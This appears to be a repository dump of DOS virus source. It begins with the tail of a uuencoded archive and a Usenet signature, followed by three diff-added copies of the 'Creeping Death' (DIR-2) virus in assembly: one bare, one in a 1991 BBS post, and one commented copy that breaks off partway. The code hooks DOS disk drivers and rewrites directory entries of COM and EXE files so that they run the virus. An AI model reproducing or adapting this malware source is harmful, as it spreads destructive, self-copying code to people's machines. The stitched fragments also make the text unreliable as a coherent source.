MW].]#G.V0,?VNG1M6VQ$"\$XN@WD/UC;Z)5'W'R\PB)DBM&<3LOU/:9E1;(%
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
K`````0```*2!`````&1I<C(N87-M4$L%!@`````!``$`-@```$L;````````
`
end
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
@@ -0,0 +1,486 @@
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
mov ah,30h
call jump
cmp al,4
sbb si,si
mov drive+2,byte ptr -1
mov bx,60h
mov ah,4ah
call jump
mov ah,52h
call jump
push es:[bx-2]
lds bx,es:[bx]
search: mov ax,[bx+si+15h]
cmp ax,70h
jne next
xchg ax,cx
mov [bx+si+18h],byte ptr -1
mov di,[bx+si+13h]
mov [bx+si+13h],offset header
mov [bx+si+15h],cs
next: lds bx,[bx+si+19h]
cmp bx,-1
jne search
jcxz install
pop ds
mov ax,ds
add ax,[3]
inc ax
mov dx,cs
dec dx
cmp ax,dx
jne no_boot
add [3],61h
no_boot: mov ds,dx
mov [1],8
mov ds,cx
les ax,[di+6]
mov cs:str_block,ax
mov cs:int_block,es
cld
mov si,1
scan: dec si
lodsw
cmp ax,1effh
jne scan
mov ax,2cah
cmp [si+4],ax
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1
stosw
xchg ax,si
mov di,offset i13org
cli
movsw
movsw
mov dx,0c000h
fdsk1: mov ds,dx
xor si,si
lodsw
cmp ax,0aa55h
jne fdsk4
cbw
lodsb
mov cl,9
sal ax,cl
fdsk2: cmp [si],6c7h
jne fdsk3
cmp [si+2],4ch
jne fdsk3
push dx
push [si+4]
jmp short death
install: int 20h
file: db "c:",255,0
fdsk3: inc si
cmp si,ax
jb fdsk2
fdsk4: inc dx
cmp dh,0f0h
jb fdsk1
sub sp,4
death: push cs
pop ds
mov bx,[2ch]
mov es,bx
mov ah,49h
call jump
xor ax,ax
test bx,bx
jz boot
mov di,1
seek: dec di
scasw
jne seek
lea si,[di+2]
jmp short exec
boot: mov es,[16h]
mov bx,es:[16h]
dec bx
xor si,si
exec: push bx
mov bx,offset param
mov [bx+4],cs
mov [bx+8],cs
mov [bx+12],cs
pop ds
push cs
pop es
mov di,offset f_name
push di
mov cx,40
rep movsw
push cs
pop ds
mov ah,3dh
mov dx,offset file
call jump
pop dx
mov ax,4b00h
call jump
mov ah,4dh
call jump
mov ah,4ch
jump: pushf
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3
jmp dword ptr cs:[i13org]
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es
pop ds
mov al,[bx+2]
cmp al,4 ; Input
je input
cmp al,8
je output
cmp al,9
je output
call in
cmp al,2 ; Build BPB
jne ppp ;
lds si,[bx+12h]
mov di,offset bpb_buf
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,[di+2-32]
cmp al,2
adc al,0
cbw
cmp [di+8-32],0
je m32
sub [di+8-32],ax
jmp short ppp
m32: sub [di+15h-32],ax
sbb [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf
output: mov cx,0ff09h
call check
jz inf_sec
call in
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16
jmp short ppp
input: call check
jz read
inf_dsk: mov byte ptr [bx+2],4
cld
lea si,[bx+0eh]
mov cx,8
save: lodsw
push ax
loop save
mov [bx+14h],1
call driver
jnz read_
mov byte ptr [bx+2],2
call in
lds si,[bx+12h]
mov ax,[si+6]
add ax,15
mov cl,4
shr ax,cl
mov di,[si+0bh]
add di,di
stc
adc di,ax
push di
cwd
mov ax,[si+8]
test ax,ax
jnz more
mov ax,[si+15h]
mov dx,[si+17h]
more: xor cx,cx
sub ax,di
sbb dx,cx
mov cl,[si+2]
div cx
cmp cl,2
sbb ax,-1
push ax
call convert
mov byte ptr es:[bx+2],4
mov es:[bx+14h],ax
call driver
again: lds si,es:[bx+0eh]
add si,dx
sub dh,cl
adc dx,ax
mov cs:gad+1,dx
cmp cl,1
je small
mov ax,[si]
and ax,di
cmp ax,0fff7h
je bad
cmp ax,0ff7h
je bad
cmp ax,0ff70h
jne ok
bad: pop ax
dec ax
push ax
call convert
jmp short again
small: not di
and [si],di
pop ax
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz here
inc dx
mul dx
here: or [si],ax
pop ax
call convert
mov si,es:[bx+0eh]
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di
dec dx
and dx,di
not di
and [si],di
or [si],dx
cmp ax,dx
pop ax
pop di
mov cs:pointer+1,ax
je _read_
mov dx,[si]
push ds
push si
call write
pop si
pop ds
jnz _read_
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx
add ax,di
adc dx,0
push es
pop ds
mov [bx+12h],2
mov [bx+14h],ax
test dx,dx
jz less
mov [bx+14h],-1
mov [bx+1ah],ax
mov [bx+1ch],dx
less: mov [bx+10h],cs
mov [bx+0eh],100h
call write
_read_: std
lea di,[bx+1ch]
mov cx,8
load: pop ax
stosw
loop load
_read: call in
mov cx,9
_inf_sec:
mov di,es:[bx+12h]
lds si,es:[bx+0eh]
sal di,cl
xor cl,cl
add di,si
xor dl,dl
push ds
push si
call find
jcxz no_inf
call write
and es:[bx+4],byte ptr 07fh
no_inf: pop si
pop ds
inc dx
call find
jmp ppp
;--------Subroutines
find: mov ax,[si+8]
cmp ax,"XE"
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB
jnz go_on
test [si+1dh],03ff8h ; <2048B
jz go_on
test [si+0bh],byte ptr 1ch
jnz go_on
test dl,dl
jnz rest
pointer: mov ax,1234h
cmp ax,[si+1ah]
je go_on
xchg ax,[si+1ah]
gad: xor ax,1234h
mov [si+14h],ax
loop go_on
rest: xor ax,ax
xchg ax,[si+14h]
xor ax,cs:gad+1
mov [si+1ah],ax
go_on: ;rol cs:gad+1,1
db 2eh,0d1h,6
dw offset gad+1
add si,32
cmp di,si
jne find
ret
check: mov ah,[bx+1]
drive: cmp ah,-1
mov cs:[drive+2],ah
jne changed
push [bx+0eh]
mov byte ptr [bx+2],1
call in
cmp byte ptr [bx+0eh],1
pop [bx+0eh]
mov [bx+2],al
changed: ret
write: cmp byte ptr es:[bx+2],8
jae in
mov byte ptr es:[bx+2],4
mov si,70h
mov ds,si
modify: mov si,1234h
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in
pop [si+2]
pop [si]
ret
driver: mov es:[bx+12h],1
in:
db 09ah
str_block:
dw ?,70h
db 09ah
int_block:
dw ?,70h
test es:[bx+4],byte ptr 80h
ret
convert: cmp ax,0ff0h
jae fat_16
mov si,3
xor cs:[si+gad-1],si
mul si
shr ax,1
mov di,0fffh
jnc cont
mov di,0fff0h
jmp short cont
fat_16: mov si,2
mul si
mov di,0ffffh
cont: mov si,512
div si
header: inc ax
ret
counter: dw 0
dw 842h
dw offset main
dw offset rts
db 7fh
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
+497
View File
@@ -0,0 +1,497 @@
===========================================================================
BBS: The Programmer's Inn
Date: 11-24-91 (19:52) Number: 3544
From: AHMED DOGAN Refer#: NONE
To: ALL Recvd: NO
Subj: DIR-2 Conf: (16) VIRUS
---------------------------------------------------------------------------
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
mov ah,30h
call jump
cmp al,4
sbb si,si
mov drive+2,byte ptr -1
mov bx,60h
mov ah,4ah
call jump
mov ah,52h
call jump
push es:[bx-2]
lds bx,es:[bx]
search: mov ax,[bx+si+15h]
cmp ax,70h
jne next
xchg ax,cx
mov [bx+si+18h],byte ptr -1
mov di,[bx+si+13h]
mov [bx+si+13h],offset header
mov [bx+si+15h],cs
next: lds bx,[bx+si+19h]
cmp bx,-1
jne search
jcxz install
pop ds
mov ax,ds
add ax,[3]
inc ax
mov dx,cs
dec dx
cmp ax,dx
jne no_boot
add [3],61h
no_boot: mov ds,dx
mov [1],8
mov ds,cx
les ax,[di+6]
mov cs:str_block,ax
mov cs:int_block,es
cld
mov si,1
scan: dec si
lodsw
cmp ax,1effh
jne scan
mov ax,2cah
cmp [si+4],ax
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1
stosw
xchg ax,si
mov di,offset i13org
cli
movsw
movsw
mov dx,0c000h
fdsk1: mov ds,dx
xor si,si
lodsw
cmp ax,0aa55h
jne fdsk4
cbw
lodsb
mov cl,9
sal ax,cl
fdsk2: cmp [si],6c7h
jne fdsk3
cmp [si+2],4ch
jne fdsk3
push dx
push [si+4]
jmp short death
install: int 20h
file: db "c:",255,0
fdsk3: inc si
cmp si,ax
jb fdsk2
fdsk4: inc dx
cmp dh,0f0h
jb fdsk1
sub sp,4
death: push cs
pop ds
mov bx,[2ch]
mov es,bx
mov ah,49h
call jump
xor ax,ax
test bx,bx
jz boot
mov di,1
seek: dec di
scasw
jne seek
lea si,[di+2]
jmp short exec
boot: mov es,[16h]
mov bx,es:[16h]
dec bx
xor si,si
exec: push bx
mov bx,offset param
mov [bx+4],cs
mov [bx+8],cs
mov [bx+12],cs
pop ds
push cs
pop es
mov di,offset f_name
push di
mov cx,40
rep movsw
push cs
pop ds
mov ah,3dh
mov dx,offset file
call jump
pop dx
mov ax,4b00h
call jump
mov ah,4dh
call jump
mov ah,4ch
jump: pushf
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3
jmp dword ptr cs:[i13org]
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es
pop ds
mov al,[bx+2]
cmp al,4 ; Input
je input
cmp al,8
je output
cmp al,9
je output
call in
cmp al,2 ; Build BPB
jne ppp ;
lds si,[bx+12h]
mov di,offset bpb_buf
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,[di+2-32]
cmp al,2
adc al,0
cbw
cmp [di+8-32],0
je m32
sub [di+8-32],ax
jmp short ppp
m32: sub [di+15h-32],ax
sbb [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf
output: mov cx,0ff09h
call check
jz inf_sec
call in
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16
jmp short ppp
input: call check
jz read
inf_dsk: mov byte ptr [bx+2],4
cld
lea si,[bx+0eh]
mov cx,8
save: lodsw
push ax
loop save
mov [bx+14h],1
call driver
jnz read_
mov byte ptr [bx+2],2
call in
lds si,[bx+12h]
mov ax,[si+6]
add ax,15
mov cl,4
shr ax,cl
mov di,[si+0bh]
add di,di
stc
adc di,ax
push di
cwd
mov ax,[si+8]
test ax,ax
jnz more
mov ax,[si+15h]
mov dx,[si+17h]
more: xor cx,cx
sub ax,di
sbb dx,cx
mov cl,[si+2]
div cx
cmp cl,2
sbb ax,-1
push ax
call convert
mov byte ptr es:[bx+2],4
mov es:[bx+14h],ax
call driver
again: lds si,es:[bx+0eh]
add si,dx
sub dh,cl
adc dx,ax
mov cs:gad+1,dx
cmp cl,1
je small
mov ax,[si]
and ax,di
cmp ax,0fff7h
je bad
cmp ax,0ff7h
je bad
cmp ax,0ff70h
jne ok
bad: pop ax
dec ax
push ax
call convert
jmp short again
small: not di
and [si],di
pop ax
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz here
inc dx
mul dx
here: or [si],ax
pop ax
call convert
mov si,es:[bx+0eh]
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di
dec dx
and dx,di
not di
and [si],di
or [si],dx
cmp ax,dx
pop ax
pop di
mov cs:pointer+1,ax
je _read_
mov dx,[si]
push ds
push si
call write
pop si
pop ds
jnz _read_
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx
add ax,di
adc dx,0
push es
pop ds
mov [bx+12h],2
mov [bx+14h],ax
test dx,dx
jz less
mov [bx+14h],-1
mov [bx+1ah],ax
mov [bx+1ch],dx
less: mov [bx+10h],cs
mov [bx+0eh],100h
call write
_read_: std
lea di,[bx+1ch]
mov cx,8
load: pop ax
stosw
loop load
_read: call in
mov cx,9
_inf_sec:
mov di,es:[bx+12h]
lds si,es:[bx+0eh]
sal di,cl
xor cl,cl
add di,si
xor dl,dl
push ds
push si
call find
jcxz no_inf
call write
and es:[bx+4],byte ptr 07fh
no_inf: pop si
pop ds
inc dx
call find
jmp ppp
;--------Subroutines
find: mov ax,[si+8]
cmp ax,"XE"
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB
jnz go_on
test [si+1dh],03ff8h ; <2048B
jz go_on
test [si+0bh],byte ptr 1ch
jnz go_on
test dl,dl
jnz rest
pointer: mov ax,1234h
cmp ax,[si+1ah]
je go_on
xchg ax,[si+1ah]
gad: xor ax,1234h
mov [si+14h],ax
loop go_on
rest: xor ax,ax
xchg ax,[si+14h]
xor ax,cs:gad+1
mov [si+1ah],ax
go_on: ;rol cs:gad+1,1
db 2eh,0d1h,6
dw offset gad+1
add si,32
cmp di,si
jne find
ret
check: mov ah,[bx+1]
drive: cmp ah,-1
mov cs:[drive+2],ah
jne changed
push [bx+0eh]
mov byte ptr [bx+2],1
call in
cmp byte ptr [bx+0eh],1
pop [bx+0eh]
mov [bx+2],al
changed: ret
write: cmp byte ptr es:[bx+2],8
jae in
mov byte ptr es:[bx+2],4
mov si,70h
mov ds,si
modify: mov si,1234h
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in
pop [si+2]
pop [si]
ret
driver: mov es:[bx+12h],1
in:
db 09ah
str_block:
dw ?,70h
db 09ah
int_block:
dw ?,70h
test es:[bx+4],byte ptr 80h
ret
convert: cmp ax,0ff0h
jae fat_16
mov si,3
xor cs:[si+gad-1],si
mul si
shr ax,1
mov di,0fffh
jnc cont
mov di,0fff0h
jmp short cont
fat_16: mov si,2
mul si
mov di,0ffffh
cont: mov si,512
div si
header: inc ax
ret
counter: dw 0
dw 842h
dw offset main
dw offset rts
db 7fh
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
+554
View File
@@ -0,0 +1,554 @@
i13org = 5f8h
i21org = 5fch
dir_2 segment byte public
assume cs:dir_2, ds:dir_2
org 100h
start:
mov sp,600h ; Set up the stack pointer
inc word ptr counter ; Generation counter
xor cx,cx
mov ds,cx ; DS points to interrupt table
lds ax, ds:[0c1h] ; Find interrupt 30h
add ax,21h ; Change it to Int 21h
push ds ; Save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; Get DOS version
call jump
cmp al,4 ; DOS 4.X+ : SI = 0
sbb si,si ; DOS 2/3 : SI = -1
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
; "never accessed"
mov bx,60h ; Adjust memory in ES to
mov ah,4ah ; BX paragraphs.
call jump
mov ah,52h ; Get DOS List of Lists
call jump ; to ES:BX
push es:[bx-2] ; Save Segment of first MCB
lds bx,es:[bx] ; DS:BX -> 1st DPB
; (Drive parameter block)
search: mov ax,[bx+si+15h] ; Get segment of device driver
cmp ax,70h ; Is it CONFIG? (I think)
jne next ; If not, try again
xchg ax,cx ; Move driver segment to CX
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
mov di,[bx+si+13h] ; Save offset of device driver
; Original device driver
; address in CX:DI
mov [bx+si+13h],offset header ; Replace with our own
mov [bx+si+15h],cs ; (header)
next: lds bx,[bx+si+19h] ; Get next device block
cmp bx,-1 ; Is it the last one?
jne search ; If not, search it
jcxz install
pop ds ; Restore segment of first
mov ax,ds ; MCB
add ax,ds:[3] ; Go to next MCB
inc ax ; AX = segment next MCB
mov dx,cs ; DX = MCB owning current
dec dx ; program
cmp ax,dx ; Are these the same?
jne no_boot ; If not, we are not currently
; in the middle of a reboot
add word ptr ds:[3],61h ; Increase length owned by
; MCB by 1552 bytes
no_boot: mov ds,dx ; DS = MCB owning current
; program
mov word ptr ds:[1],8 ; Set owner = DOS
mov ds,cx ; DS = segment of original
; device driver
les ax,[di+6] ; ES = offset int handler
; AX = offset strategy entry
mov word ptr cs:str_block,ax ; Save entry point
mov word ptr cs:int_block,es ; And int block for use in
; function _in
cld ; Scan for the write
mov si,1 ; function in the
scan: dec si ; original device driver
lodsw
cmp ax,1effh
jne scan
mov ax,2cah ; Wicked un-yar place o'
cmp [si+4],ax ; doom.
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1 ; Save address of patch
stosw ; area so it can be changed
xchg ax,si ; later.
mov di,offset i13org ; This is in the stack, but
cli ; it is used by "i13pr"
movsw
movsw
mov dx,0c000h ; Scan for hard disk ROM
; Start search @ segment C000h
fdsk1: mov ds,dx ; Load up the segment
xor si,si ; atart at offset 0000h
lodsw ; Scan for the signature
cmp ax,0aa55h ; Is it the signature?
jne fdsk4 ; If not, change segment
cbw ; clear AH
lodsb ; load a byte to AL
mov cl,9
sal ax,cl ; Shift left, 0 filled
fdsk2: cmp [si],6c7h
jne fdsk3
cmp word ptr [si+2],4ch
jne fdsk3
push dx ; Save the segment
push [si+4] ; and offset on stack
jmp short death ; for use by i13pr
install: int 20h
file: db "c:",255,0
fdsk3: inc si ; Increment search offset
cmp si,ax ; If we are not too high,
jb fdsk2 ; try again
fdsk4: inc dx ; Increment search segment
cmp dh,0f0h ; If we are not in high
jb fdsk1 ; memory, try again
sub sp,4 ; effectively push dummy vars.
death: push cs ; on stack for use by i13pr
pop ds
mov bx,ds:[2ch] ; Get environment from PSP
mov es,bx
mov ah,49h ; Release it (to save memory)
call jump
xor ax,ax
test bx,bx ; Is BX = 0?
jz boot ; If so, we are booting now
mov di,1 ; and not running a file
seek: dec di ; Search for end of
scasw ; the environment block
jne seek
lea si,[di+2] ; SI points to filename
jmp short exec ; (in DOS 3.X+)
; Execute that file
boot: mov es,ds:[16h] ; get PSP of parent
mov bx,es:[16h] ; get PSP of parent
dec bx ; go to its MCB
xor si,si
exec: push bx
mov bx,offset param ; Set up parameter block
; for EXEC function
mov [bx+4],cs ; segment to command line
mov [bx+8],cs ; segment to 1st FCB
mov [bx+12],cs ; segment to 2nd FCB
pop ds
push cs
pop es
mov di,offset f_name
push di ; Save filename offset
mov cx,40 ; Copy the filename to
rep movsw ; the buffer
push cs
pop ds
mov ah,3dh ; Handle open file
